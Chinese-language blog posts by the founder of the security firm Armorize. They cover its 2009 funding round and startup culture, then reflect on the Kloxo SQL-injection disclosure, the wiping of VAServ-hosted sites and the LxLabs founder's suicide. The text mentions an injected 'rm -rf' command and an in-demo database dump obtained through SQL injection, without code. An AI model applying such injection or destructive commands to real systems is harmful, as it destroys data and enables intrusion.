新創公司聘人,很難,好的人才不容易找。也許我們在資安圈蠻有名的,可是公司不僅需要資安人才,還需要很多的軟體工程師跟其他各種人才。小公司,沒有名,我們公司的工程師大家實力都好,學歷也好,大可以去半導體大廠,或大的外商,為何要來「阿碼」?阿碼是什麼公司?阿媽開的嗎?對於父母來說,也是頭大的問題,我的小孩書念了這麼久,明明就可以去大半導體廠,鴻海、宏碁、聯電、台積電、宏達電、Google、微軟、IBM,講起來多好聽,現在選擇去「阿碼」,每次碰到鄰居與親戚朋友,就要說我小孩在「阿碼」...「阿碼」是什麼公司?

對外國同事也很難。突然之間,孩子說要搬到台灣去加入創業團隊。台灣在哪裡?沒去過。會不會有戰爭?不知道。會不會以後媳婦是黑頭髮的台灣人?很有可能。多久可以回家一次?國內這麼多好的公司,一定要去台灣嗎?...

但是如果會運用,創業團隊也有其無比的優勢。公司不大,大家都很重要,接觸得多,學得也多。公司沒有太多政治問題,做起事來很快,靈感,創意,想法,都很容易發揮;大家都是公司重要的一份子,公司怎麼走,就看大家要公司怎麼走,大家自己做決定,自己負責,時間花在創意,創新,研發,挑戰,而不用花在政治與官僚,這對很多實力好的人才來說,會具有很高的吸引力,不用再被惡劣的老闆管,不用再擔心背後挨刀,不用再為了理想被埋沒而痛苦,不用每做一件事都要考慮那麼多政治因素,可以放手去發揮,大家一起打拼,這些對人才來說,會比什麼都來得有吸引力!

聊得很愉快,一下子時間過了,會議要結束了,但是我們也確定,ASI如果投資,會帶給我們很多其他方面的幫助;他們成立Skype並一路把公司做得這麼好,我們遇到的許多挑戰,他們都遇過了,可以給我們許多幫助。創業家作投資人,跟純金融的投資人,會很不一樣。公司創立的艱苦過程,他們都經歷過,在各方面不但能提供很好的經驗,對於許多困難也很能夠體會,把自己當作團隊的一份子,而不是劃清界限,他們是投資人,你們是團隊。事實上,阿碼第一次募資時的投資人,也大部分是創業家,從我們董事長沙正治先生(Jim),到邱俊邦先生與翁家盛先生,到New Venture Club的Tim Koogle(Yahoo!前CEO與目前副董事長),Dennis Coleman(賽門鐵克創辦人),Bill Coleman(BEA Systems創辦人與前董事長兼CEO),Mike Markula(Apple前CEO與第一位投資人)等,都是當過創業家的投資人。其中團隊最感謝的,還是董事長,因為董事長最肯花時間與我們互動,現在想起來,大大小小事情都找他討論,他那時一定覺得我們很煩,花他很多時間。阿碼公司文化,很多都是他直接影響而建立的。

ASI審一個案子,異常的仔細,公司幾乎所有文件都要翻過一次,檢查了又檢查,財報當然更是不用說。在技術的審查上,Toivo與Ahti自己跳下來玩我們的產品,了解我們跟對手的差別。一天晚上九點半,我在大潤發買東西,手機響了,接起來,原來是Ahti,Ahti說他看完我們的產品有問題要問我,我說好,可否過20分鐘?他說直接問就好,很快。於是在我買完結帳的過程中,回答完他所有的問題,Ahti人很好,做事也很快,那通電話完,我感覺他們會投資,而且會是很好的投資人。電話快結束時我跟Ahti說,不論他有沒有投資,我都很高興有機會跟他們認識。Skype就是他們幾個創出來的,卻改變了大家的生活,尤其愛沙尼亞就像台灣一樣,並不是很大一個地方,卻能做出國際級的軟體,我對他們有很多respect。

[長期的互信關係]

有時,投資人跟團隊的關係,如果不要太計較眼前的利益,往往可以走得很長久,達到雙營的局面。這次增資的投資人還包過Birch Venture Capital,是一家由吳廣義先生(Max)與黃家哲先生(Terry)所創立的創投公司。Max看我們,看了四年了。我們第一次募資時,先去找他,也就是他介紹我們認識董事長Jim的。我永遠記得,當我們決定第一次募資只邀請創業家天使投資人時,團隊中緊張的氣氛。該如何跟Max說,先不邀請他們呢?Jim就是他介紹的,這真的說不過去,但是還是要面對。於是幾個人鼓起勇氣,在Max的會議室中,低著頭把我們的想法表達了,為何我們覺得第一次先只邀請個人投資人,雖然這些人很多都是Max介紹我們認識的。說不緊張是騙人的,Max說他不會生氣,我們也知道是客氣話。如果Max願意自己投資,那我們當然會很高興,但是那時Max代表的是創投公司,而我們只想找個人投資。

公司做了幾年,非常成功,等到要第二次增資時,我們直接想到的,就是Max。事隔三年多,大家又見面了,結果我們發現Max不但不怪我們了,還完整記得我們三年前報告的資料,對我們產業也很了解,讓我們好不驚訝。我們說,三年多了,我們當時宣稱可以做到的,也都做到了,如果Max還願意支持我們,那我們覺得現在是邀請創投的時機了。就這樣,Max現在也是我們的董事了。Max之前在宏碁服務了超過20年,並於1993至2000年擔任宏碁美國的president,實務經驗非常多,在這陣子的互動中,我們已經跟他學了不少。Terry也幫我們建立了更好的制度,讓我們會往後的成長,做好了充足準備。

投資人與團隊之間,當然利益不全然一樣,但是如果雙方不要太過計較,可以走很長的路。

[開放源碼與成立公司]

為何成立阿碼,沒有選擇開放源碼?這個問題很多人問。我們那時的研究成果很好,而且大家一起工作做得很愉快,也有很好的感情。但是如果要繼續一起工作,必須要有個辦法。另一方面,我們的技術領先對手很多,並且不容易被追上,對於產品化,我們很有信心。其實是前一個理由比較重要。大家要過生活,還是要賺錢。如果我們都有存款可以生活,我們會自己做自己想做的事,軟體也會是開放源碼的,讓大家來免費使用。當然有一天我們存夠錢了,這種生活就能實現。但是目前,生活是現實的,大家雖然感情很好,但是總不能沒飯吃,要一起能繼續走下去,必須成立公司,建立穩定的商業模式。很多人覺得我是工作與興趣結合,其實我是分開的。如果單純興趣,我一樣會做資安研究,但是會以開放源碼為主,並且不需有很多商業上的考量(例如很多技術都不公開等等)。既然是工作,穩定的獲利就是非常重要的目標之一,尤其公司這麼大,我們對於公司的同事,他們的家人,我們的投資人,甚至以後出來募資的年輕人,都有責任;大家都有家庭父母小孩要照顧。長久來說,存夠錢後,能夠更專注於自己愛做的事情,擺脫商業的考量,做自己喜歡的研究(不一定是Web資安),是我們一直的夢想,但是以目前來說,把公司做好,把客戶照顧好,獲利穩定,成長快速,是我們最重要的目標。

我記得四年前,Chris辭掉微軟的工作,搬來台灣,就住在公司旁邊,Walter也搬過來,住他樓上。有天他自己做了晚餐,請我們去,我吃素,大家跟我吃,Chris本來也不喝酒。我們拿起飲料乾杯時,心裡感受很難形容。大家一路這麼要好,也出生入死那麼多次,但是真的現在Chris德國工作辭了,房子退了,Matt美國Atheros工作辭了,Walter / Benson也都辭了工作--好大的壓力,以前沒感覺過--我們真能成功嗎?我會不會對不起大家?想到以前,出論文都感覺在賭命,第一篇投稿的那晚,好幾天沒睡了,Walter打來,Wayne,數據都做好了,但是我剛才去廁所完,發現身體出狀況,我現在去醫院。之後就聯絡不到了,手機家裡都沒人接。嚇死了,第二天早上打給他父親,麻煩他去Walter房間看看。結果他說Walter沒事,睡死了而已。第二年,也是投稿前幾天,Walter人在美國出差,半夜幫我做,太累個感冒,沒空去醫院,自己買了藥吃。終於準備投稿了,Walter打來,Wayne,資料都沒問題,確認過了,但是我有問題,藥吃太多,心臟亂跳,我打911,他們到了,說必須送去醫院,先這樣。

其他太多講不完了,現在的團隊真的很好,延續了我們一向的文化,大家一起努力,感覺很棒。雖然每一次release,每一個新功能都那麼的辛苦,每一次出差也沒輕鬆過,但是我們成績一直出來,謝謝各位的努力,我們一起繼續加油!
(左:OWASP 2007於eBay,隔天要展示但是機器坐飛機後壞掉了,修了整個晚上,Kuon抱著電腦睡著了)
(右:RSA 2009於舊金山,兩年後了,還是一樣,我才把行李放好,客廳就變成行動辦公室了)

[團隊的努力]

最後要感謝的,是每天為阿碼一起打拼的同事們--大家真的太辛苦了!但是我們的辛苦,獲得了投資人的肯定,在金融風暴後,資安乾枯,創業公司接二連三倒閉,大公司不斷裁員的情況下,這次我們不但成功完成增資,有來自美國、歐洲與亞洲的創投參與,更是一次 up round,股價獲得了實質的增加,這是對各位最實際的肯定。阿碼成立到現在快四年了,只有過一位助理因個人因素主動離開,謝謝你們對公司的信心,以及對這個工作環境的肯定。你們有些人,早在阿碼之前,早在我們都還是學生時,就跟我一起工作,大家已經出生入死很多次了;謝謝你們一路跟我一起努力,這中間的血淚與磨練,是我最珍惜的經驗;有些人離鄉背井,離開家人與朋友,來到陌生的台灣,住在公司旁邊,只因為我堅持技術留在台灣;你們忙得連重要假日也沒法回家,變成你們父母從世界各地來台灣看你們,算一算已經有六對父母來台灣探望了,每次看到假日你們都在公司,雖然你們說反正沒地方去,但是我心裡都覺得很內咎;有些人放棄了大公司,出過唸書機會,甚至是主編,是CEO,也就這樣放棄了,來到阿碼扛起責任,我有時想想不知你們如何做到的;有些人本身也是創業家,帶著公司與阿碼合併,努力地讓我們產品線更豐富。你們大家都是我心目中的英雄,謝謝你們,跟你們工作,也讓我學到很多。出生入死,有血有淚,但是每天都很愉快,謝謝你們的努力!

我們既有的投資人,尤其是董事長,一路花了非常多的時間帶領我們,這次增資也義不容辭的支持我們,團隊裡所有的人,都會永遠記得的。金融風暴後,大部分要增資的新創公司,根本找不到資金,更不用期待股價之上漲(up round)。可是這次與董事長的互動,就如當時第一次增資時一樣,沒有多少話,就談完了條件,股價的增加,是董事長自己提的,一句話,口頭的承諾,整個過程就沒有再變過,在投資圈裡頭,這簡直不可思議。但是你們的決定是對的,因為團隊都知道我們擁有最好的投資人,我們感謝各投資人的支持,而也絕對不會讓各位失望的。

[台灣的資安產業]

Skype的大部分程式,是愛沙尼亞的工程師們寫出來的,經過資策會的安排,ASI也遠從愛沙尼亞投資了阿碼。根據新搜尋引擎WolframAlpha,兩地的面積不會差很多,台灣有兩千三百萬人,愛沙尼亞投有一百三十萬人。台灣雖然小,但是我們有許多國際知名的品牌,譬如宏碁,華碩,鴻海,台達電,聯電,台積電,D-Link,Zyxel等等,都是我們的驕傲。可是多年前我從交大資工碩士班畢業時,真是不知該怎麼找工作。我從小就寫軟體,我想進入軟體公司,但是在台灣,似乎很少。硬體畢竟算是製造業,資本主義下,產業要有競爭力,為了降低成本,產業外移是必然的;美國的就業問題根源在此,台灣也將面臨同樣的問題。當我們生活一直提升的同時,工資也必然提升,要一直保持在製造方面的競爭力,談何容易。

產業外移不見得是問題,只要一直能找到新的東西做就好。美國矽谷很早就不做製造了,但是他們開發了軟體產業。現在矽谷紅的公司,Google、微軟、Apple、eBay、Amazon、Salesforce、Facebook,這些都是軟體公司。IBM賣掉了筆電與其他事業體,成功由硬體公司轉型成軟體與服務的公司,HP也一直在努力。台灣能有這麼好的硬體品牌,也有好的軟體人才,沒有理由不能有好的軟體產業。軟體產業不像硬體,需要龐大的成本,要建廠房,要物料,要庫存;軟體只需要建立良好的公司文化與環境,把優秀並對軟體有熱忱的人才聚集在一起,就快成功一半了。

去年去RSA,印象深刻的是德國館,德國政府出錢,帶所有廠商來美國參展;今年德國從一個館擴展成三館,新加坡也第一次做了新加坡館。以色列也不大,但是資安產業做得有聲有色,美國客戶對於境外的資安產品都比較保留,但唯獨以色列產品例外。愛沙尼亞的人口只有我們二十分之一,但是可以做出像Skype這麼成功的軟體公司,為何我們不能?

因為我們全球經銷伙伴多,消息比較靈通,最近一個趨勢,發覺越來越多伙伴代理了韓國的產品,不論是軟體工具,或資料庫,或資安產品,感覺韓國已經走出來了,過不久,可能會有品牌像LG、Samsung一樣成功。希望經濟部以及台灣其他長官,能夠更支持台灣的軟體產業。曾經跟一些長官也有機會聊了不少,但是感覺對於我們的資安產業能打出國際品牌方面,都還是比較保留。這不是能不能的問題,我們其實已經做到了。趨勢科技就是台灣的公司,但是是全球前幾大的資安廠商。台灣還有阿碼威播精品中華數位中華龍網居易,都是外銷成功的廠商。

軟體產業靠的是腦力,不是靠勞力,污染低,低成本,根本不需要多大的資本額(房租,薪水,電腦,能花多少錢?),只要有人才,就能創造出好的產品,別人要追上也不容易。希望政府能對這個產業更有信心些!


(新加坡今年第一次有國家館:「Infocomm Singapore Pavilian」)


(德國今年RSA有三個館,標語「IT Security Made in Germany」令人印象深刻)

作者 Wayne 為阿碼科技一員

[新聞稿]

以下是新聞稿草稿,團隊還沒正式發出:

Armorize Technologies(阿碼科技)完成股權增值融資案
2009.06.16 美國矽谷 聖克拉拉市

所得的資金將會運用在全球商務的拓展上

網站應用程式安全領導廠商Armorize Technologies已完成最新的股權增值融資案,其中最重要的投資者包括總部設在歐洲由研發Skype的工程團隊所組成的創投公司Ambient Sound Investments(ASI),以亞太為基礎的旭樺管理顧問股份有限公司(Birch Venture Capital),以及以沙正治先生為首有參與阿碼第一次融資的矽谷投資人,這次融資案的款項將會被用於商業研發及拓展全球業務上,部份的金額會用來投資台灣子公司,金額將會超過一億兩千萬台幣。

阿碼的技術及企業理念得到投資人強力的背書

新資金的取得證明了Armorize在網站應用程式安全技術方面具領先地位。Armorize是網頁應用程式原始碼分析的先驅者,並透過SaaS的服務來對惡意程式進行辨識及監控,”我們很高興的看到投資人以行動來對我們表示支持,我們也非常有信心,網頁應用程式帶來了很多安全方面的課題,但Armorize提供了一套先進的自動化工具來解決這方面問題。這次融資完成,代表投資人對我們的技術及企業理念的贊同。”Armorize執行長黃耀文說。

“Armorize是一群具有高度技術能量的團隊,並研發了具專利性的原始碼漏洞分析解決方案。我們相信Armorize在網頁應用程式安全方面整體的表現,將會使他們在國際市場上具領先的地位”ASI的私募股權基金主席(head of private equity investments)Margus Uudam說。

Web 2.0 驅使網站應用安全產業成長

這次的投資顯示網站應用安全將受到重視。隨著Web 2.0的發展。企業或個人在日益繁複的程式設計及開發中,使得惡意程式更容易透過網站的漏洞來攻擊,各產業已經正視到這點。而Armorize建立了完整的解決方案,能夠在系統發展生命週期(SDLC)的各個階段強化網頁應用程式的安全性

Armorize Appsec Suite 提供了完整的網站應用安全

Armorize Appsec Suite™原始碼分析、網站應用程式的防火牆、網站惡意程式即時監控,保護企業免於因網頁漏洞所造成的威脅。

CodeSecure™自行研發的編譯器可以更精確的找出網站應用程式原始碼的漏洞,CodeSecure™是一個具有Web操作介面的硬體設備,適用於企業與軟體即服務(SaaS)的部署模式。
SmartWAF™是一種可以結合CodeSecure™源碼檢測結果快速「修補」網站弱點的主機型網頁應用程式防火牆

HackAlert™提供7x24網頁掛馬的監控服務,可提供全天候的掃描及預警,HackAlert™可以確保客戶網站免受惡意程式的威脅。

自從Armorize成立之後,快速的成長並且在全球各領域迅速累積客群,包括網際網路、政府及金融體系等各產業。

關於Armorize Technologies

Armorize是專注於網站應用程式安全的公司。

Armorize Appsec Suite™整合了獲獎無數的CodeSecure™, HackAlert™ 和SmartWAF™提供了完整的網站應用安全服務。

Armorize服務團隊深耕於網站應用程式安全研究,並連續在WWW研討會獲獎。
包括Red herring 100、及受邀參加Dow Jones VentureWire Technology Showcase 2008展示公司基礎及成果。

Jack Yu
Phone: +886-2-6616-0100 x405

繼續閱讀全文...

2009年6月10日

[No Tech] SQL Injection 火線--談印度、創業與資安道德

昨天晚上好幾個irc channel中,突然傳出這個新聞,引起大家很多的討論:LxLabs的創辦人自殺了。LxLabs的創辦人K T Ligesh,今年32歲,昨天被發現上吊於班加洛(印度矽谷)的家中。看到這個新聞,心裡真的是非常震驚,也非常難過。印度我們大概兩個月得去一次,其中又以印度的矽谷--班加洛,為最常跑的城市。雖然我不常陪同事去,但是也去過好幾次了,在當地有了不少朋友。班加洛是印度一個非常特別的城市。由於位於高原上,高海拔使得班加洛雖然在印度南部,但是卻擁有非常舒服的氣候。我第一次去,就被這個城市吸引了。到處都是高樓,還有漂亮的購物中心,跟印度其他地方的貧窮完全不一樣。雖然孟買也是有很多高樓與購物中心,但是孟買是商業中心,比較沒有IT的氣息。但是班加洛卻不一樣,這個城市一開始發展就規劃要成為印度的矽谷,並利用氣候與各種優惠條款吸引外商投資研發中心。第一次走進機場時,嚇一跳,好漂亮的機場,另外,怎麼感覺所有人都是工程師?不論是當地人,或是像我們一樣外來的,都是很geek的感覺。放眼看去,每個人肩上都背了一個電腦包,衣服上的logo...嗯嗯,MS,Intel,Oracle,Siemens,IBM,HP...怎麼大家連穿衣服都那麼geeky?然後坐著的人好像都在回email,有的用手機,有的用筆電。去吃飯,怎麼周圍所有人討論的都是IT話題?FaceBook API又怎樣了,Java的某framework又出問題了,某家公司的SDL竟然也改成scrum了。有時候在其他地方,這種討論會引來異樣眼光,好像在這麼好的餐廳,盡是討論技術,真是煞風景,還會被笑是geek。但是在這個城市,這是主流,不懂IT,大概會被笑。除了談技術,最熱門的話題大概就是創業了。好多人創立了自己的公司,好多人正在計畫,大家對於美國的新創公司如FaceBook、Twitter等的一舉一動,總是是那麼的熟悉,那麼的有興趣地討論著。這真是一個屬於geeks與創業家的城市啊!

除了本地的企業外,這裡外商非常多,大部分知名的歐美外商都來此建立研發中心,動不動就是三五千人的規模,人才則是來自印度各地的菁英。印度語言並沒有統一,北方話(Hindi)在此是沒有人懂的,於是唯一共同的語言就成了英文。這麼多這麼大,塞滿工程師的研發中心,每天寫出來的程式量非常可觀;當然,每天寫出來的弱點數,也非常可觀。這種規模的研發中心採用的管理模式與各種軟體開發流程,跟亞洲的其發地方很不一樣。大家非常在意各種軟體開發的模型與流程(up, xp, dsdm, agile, scrum, etc),也大量的使用各種軟體開發工具,來協助流程的建立。下面照片是在某客戶家裡的布告欄照的,由於有嚴格的控管,當時經過了層層主管的同意才得拍,還答應之後把公司名稱馬賽克掉:

這個客戶有一個專門的「工具評估」部門,大約有三十人,工作就是負責評估各式的軟體工具。一旦選擇,就大量的採用,並訓練內部的種子講師,知識管理系統,並協助各團隊將工具導入於開發流程中。照片中右方是一個「The Tools Open Challenge--May the best tool win!」(工具的公開挑戰--讓最好的工具贏吧!)

去這些公司裡頭做簡報,一開始還真有幾分壓力。客戶對於每個廠商瞭若指掌,對於工具的評估也非常有經驗。很多工程師基本上是看不起「資安專家」的,認為我們就學了那麼一招半式,其實對於軟體的開發,不論在實務上或流程上,都比不上他們的經驗與規模。記得第一次去的時候,來到一家公司,非常.com的裝潢,簡直快比Google豪華了。報告選在中午,公司自己的廚房讓每個人點自己要的菜,一堆工程師捧著午餐,把整個會議室擠滿了,後來的人就都爬到櫃子上坐著居高臨下,三十幾個人打量我們六個人,要看看我們到底有什麼厲害,還有什麼樣的工具他們沒看過的。聽他們的聊天內容,夠專業了,在美國也沒碰到這種陣仗,感覺左右兩邊的老外業務同事,與陪同的當地代理商,都感受到對方帶來的壓力,開始緊張了。嗯,這個時候一定要先利用時間,一一擊破,於是我趕快脫下西裝,加入他們的討論,讓他們慢慢發現,我們對語言,對開發技術,對各種模型都很熟,也與很多相同規模的客戶工作過。一邊聽他們最近在做的專案,一方面分享我們接觸過的其他國家同性質專案,慢慢的大家開始喜歡我們了,覺得原來「資安專家」也懂軟體開發。「讓我看看你們最近做好即將上線的系統吧!」對方驕傲的給了個內網URL,並解釋這個專案的整個流程,使用的工具,還有在資安上的作法。「可以測看看嗎?」「Sure, go ahead!」

簡報時間到了,先用視訊與在印度另一省的團隊連線,那邊也有約三十人。簡報開始,兩位阿碼的業務同事,一位白人一位印度人,負責大部分的簡報內容,講得又穩又專業,看來剛才的功夫對我軍有達到穩定軍心的作用。我則 fiddler + burp,忙了一陣子,運氣很好,SQL-i, XSS, CSRF 都找到了,同事講完,我做demo,資料庫直接dump出來。一下子變得很安靜,連電話那端都聽不到聲音了。沒人打電話,但是門口突然出現一堆人,大概是裡面的人用msn通知的吧。大家七嘴八舌一陣子猛問,終於瞭解了弱點與攻擊方式。「也沒什麼嘛!」「是沒什麼,但是不容易避免。這是我手動找的,用工具可以找到更多,工具才可以結合你們的流程,每天重複使用,這個你們比我們還專業,不用我多說」。「那是否下午就直接掃程式看看?」「沒有問題,我們下午有排其他會議,但是我們代理商會留下來協助各位POC」。雖然這個客戶目前其實對資安並不熟,但是整體技術能量很夠,這種團隊最容易,經過一陣子教育訓練以及導入工具後,很快就能開發出高安全性的系統。

記得下午跑的客戶,某外商大廠設的研發中心,三千五百人,幾乎所有黑箱工具都買了,白箱目前也都正在測試。跟這種客戶工作,廠商其實收穫很大,用這麼多特別設計過的程式碼,來測試這麼多黑白箱工具,連我們自己也沒有這麼完整的測試環境。跟測試團隊聊,各家黑箱的強處,不足,客戶經驗,建議的新功能,都在很短時間內分享給我們,這些資訊對我們實在很寶貴。回想起照片中那張海報:「工具的公開挑戰--讓最好的工具贏吧!」--這真是這裡的寫照。只要你團隊有實力,工具好,客戶大都會採用,這樣的環境阿碼就佔很大優勢。反觀台灣,常常我們都是測試結果比對手強很多,但是對手業務通常有辦法模糊測試結果,然後很敢放一大堆謠言:「阿碼資金有問題,快倒了,絕對稱不過年底」、「阿碼都只是一群駭客,工具亂做的而已」、「阿碼的工具,是開放源碼的FindBugs兜出來的」。Wow,真敢講,改天我們再反駁吧(沒營養)。如果是針對工具評比,我們很專業,也很有把握,但是常常要花時間在消毒這些謠言,這種時間就不那麼值得了。現在想起來,在班加洛,大家的話題總圍繞著技術或創業,每次的POC總是那麼愉快,這也許是為何我對這個城市印象一直很好的原因吧!

這也許是為何,在聽到新聞,有班加洛創業家因為產品有的SQL injection與其他弱點,造成客戶重大損失後,無法承擔壓力而上吊自殺後,感覺特別沈重,也讓我靜下來思考了許久。LxLabs是位於班加洛的一家虛擬化公司,位於班加洛,由印度人KT Ligesh所創辦。LxLabs的主力產品Kloxo(之前稱LxAdmin),在VPS hosting產業擁有相當的市佔率。LxLabs的網頁上有對Kloxo的資安宣言:Kloxo是已近乎偏執的態度來設計資安模型。基本概念就是每一個模組都不信任其他模組。我們將資安視為最重要的問題並投入了很多努力,建立了一個您可以有信心的資安環境。頁上並介紹了Kloxo的五層資安架構。

6月4日,milw0rm上登出了Kloxo一共24個資安問題,其中大部分是local exploit,但是包含了一個remote exploit--SQL injection,可以達成以root權限執行任意指令。這篇當時很多人都有注意到,因為Kloxo市佔率還算蠻廣的,尤其在低價的VPS方面。6月7日,很不幸地,位於英國,並在美國也有IDC的hosting公司VAServ Ltd(vaserv.com),被攻擊者利用上述漏洞,毀了超過十萬個網站。VAServ使用的虛擬化方案,正式LxLabs的Kloxo與HyperVM。除了VAServ的客戶外,該公司並持有其他品牌的hosting服務,包含了FsckVPS Hosting(fsckvps.com),CheapVPS(cheapvps.com),以及A2B2 Hosting(a2b2.com)。事發至今已經六天了,但是上述網站仍無法復原,使用上述個品牌做hosting的客戶,也只能等待,或趕快將網站搬家其他hosting廠商。



其實除了VAServ與相關品牌,我們發現利用Google就可以輕易找出其他使用LxLabs產品的Hosting,很多都還有上述弱點,攻擊過程也並不困難,LxLabs創辦人Ligesh與團隊之心裡壓力可想而知。這次的SQL injection弱點揭露,造成十萬個網站之損失,目前VAServ與客戶都還處於兵荒馬亂狀態,更造成LxLabs選擇結束生命之悲劇。網路上的討論也瞬間如疊高樓般,一個標題一下子可以有超過150頁的討論(例如這裡)。就我的記憶裡頭,資安事件雖多,造成受害者結束生命的,可能是第一次。可能因為同樣身為技術創業團隊,總覺得班加洛的人特別親切,特別有話聊,對於創業的種種艱難,我們大家也很多體會。看到一個弱點的揭露後所造成接連的悲劇,讓心情十分沈悶。

這次攻擊者可以大規模植入惡意連結或javascript(掛馬),或利用這些漏動作其他攻擊,但是都沒有,只是把檔案都砍掉了。於是很有可能的情況之一是,一個不到18歲的青少年,看到了milw0rm上的揭露,由於自己也是VAServ的使用者,試了一下,帶了 "rm -rf" 指令,就這樣不預期地,攻擊成功了,瞬間把十萬個網站都砍光了。十萬個網站這種規模的掛馬,經濟價值之高,圈內人都很清楚,如果是犯罪集團所為,大可不必「浪費」了這麼一個機會。那麼如果真是這樣,那就像小孩玩火,一不小心燒了一條街一樣,這種悲劇該如何避免?

看看網路上的討論,其實責怪攻擊者的人,遠超過責怪LxLabs或VAServ的人。我對這個留言特別有印象:

「任何人都可以破壞。創造與建設才是美。我的小狗都能小便與破壞。」 (dribbleworld.com留)

資安是一種藝術,滲透測試中,每個系統都是一個不同的謎題,考驗著資安專家的經驗,敏感度,與靈感;這是為何hackers樂此不疲的原因之一。但是真正難的是創造,是建設,不是破壞。問題是,人的成長過程中,似乎很容易先學習破壞--19歲的MySpace Samy17歲的Twitter Mikeyy,都是例子。人越成熟後,才越能體會建設之美,這是為何對於年輕人犯錯,社會常能給予寬容。小孩玩火,燒了一條街,大家都是輸家,要怪誰?反觀在這次事件中,是否要怪LxLabs,為何有這麼多漏洞?問題是,不用說像LxLabs這種創業團隊,即使是大銀行,大企業,在資安方面的預算都很有限。資安是很特殊的技術,除非長期注意威脅,接觸的技術面夠廣,不然一般人很難做好安全的產品開發。在金融風暴下,大公司都撐不住,更何況新創公司,要額外投資做好資安,有時的確有困難。但是有時弱點實在太過簡單,是否也因此引誘了犯罪?

網路上對於milw0rm,也是一片撻伐。大家認為,此弱點揭露的作者,於5月21日聯絡LxLabs,並有獲得回應,只是LxLabs處理得不夠快,作者就自行判定「廠商沒有興趣處理」,於是逕自完整揭露。三天後,十萬個網站毀了,LxLabs創辦人自殺了,這些事件,跟milw0rm上的揭露,有直接的關係。很多人認為milw0rm該負起責任。

負責的弱點揭露不是個容易的議題。有時,廠商就是吃定消費者。資安專家回報弱點後,過了一年還不見修復,或顧及廠牌形象與法律責任,修復後便不承認曾有漏洞。這常常造成資安專家像是啞巴吃黃連,明明看著對方漏洞百出,消費者權益蕩然無存,卻無法完整的揭露資安漏洞。

這次究竟milw0rm有沒有責任?還是要怪LxLabs?還是要怪惡作劇者?還是對方就是LxLabs的競爭對手,藉由此來打擊LxLabs?那麼豈不是罪大惡極?問題不容易回答,但是往後我會常常想到這個事件。當然,雖然主流媒體報導很一致,認為VAServ的入侵事件與LxLabs的0day有關(間隔三天),但是也有不同的說法,認為其實沒有關係,是VAServ的密碼重複使用並被竊聽導致(見irc log)。但是無論真相為何,一位創業家生命的喪失以及十萬網站的毀壞都已經是無可挽回的事實。我知道創業家的辛苦,很遺憾Ligesh生命的結束。以後在我感嘆手上的漏洞因為種種理由而無法公開時,我會想到此事;因為如果我們不負責的公開某漏洞,而造成類似的事件,那會是心裡一輩子的負擔;這些漏洞,在對方還沒修改時,就讓它永遠埋著吧!

這也是為何我很喜歡SySCANOWASP的會議。這兩個會裡,並不強調0day的展示。就像這次,milw0rm公佈的是LxLabs的0day,但是只不過是個老掉牙的SQL injection罷了,我覺得並沒有給資安社群帶來多少新的知識,但是卻帶來了十萬個網站的毀滅,十萬個中小企業突然沒了網站,一群可憐的IT工作人員不斷的加班,以及一位創業家生命的結束。就是像這種0day的公佈,增加了社會的成本與恐懼,污染了 "hackers" 在大眾心中的形象。即將舉辦的SySCAN所強調的,是前瞻性的資安技術與威脅,而不是各別產品的0day,內容包含了雲端運算與虛擬化安全性,iphone安全性,Android安全性,PHP核心安全性,ruby fuzzing技術,Web與RIA(Rapid Internet Applications)技術之安全性,RFID安全性,路徑安全性,以及新型惡意程式分析,讓我真的非常期待。

「任何人都可以破壞。創造與建設才是美。我的小狗都能小便與破壞。」--講得真好!

作者Wayne為阿碼科技創辦人
此文紀念班加洛創業家Ligesh,希望類似悲劇別再發生

繼續閱讀全文...